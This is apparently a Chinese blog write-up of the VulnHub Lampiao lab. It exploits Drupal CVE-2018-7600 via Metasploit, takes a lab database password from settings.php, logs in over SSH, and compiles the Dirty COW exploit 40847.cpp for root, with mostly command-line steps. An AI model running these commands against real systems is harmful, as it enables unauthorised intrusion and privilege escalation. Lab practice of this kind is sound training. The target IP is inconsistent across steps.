vulnhub-lampiao

lampiao

1.信息收集

nmap -p- 192.168.14.189

dirb http://192.168.14.189:1898 -X ".txt,.php"



发现更新日志文件CHANGLOG.txt

访问更新日志文件CHANGELOG.txt,发现Drupal版本7.54,存在CVE-2018-7600的Drupal漏洞。

2.漏洞利用

msfconsole	#进入msf控制台
search drupal	#搜索drupal的版本漏洞
use 1	#使用攻击模块1
set rhosts 192.168.14.140	#设置目的ip
set rport 1898	#设置目标端口
run	#运行攻击模块

shell
python -c 'import pty;pty.spawn("/bin/bash")'
cat sites/default/settings.php
ls /home


获得数据库密码Virgulino

获得用户名tiago

ssh tiago@192.168.14.189

3.提权

用kali自带的searchsploit来搜索dirty中的漏洞利用代码
searchsploit dirty    
复制一份40847.cpp文件到桌面
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp ./ 
upload /home/kali/Desktop/40847.cpp /tmp	发送40847.cpp到靶机
ls                #查看文件是否存在
#编译、运行dirtycow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
cat flag.txt      #查看flag.txt文件

注:-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的 
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o  指定gcc生成的目标文件名




评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Wh1teSu

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值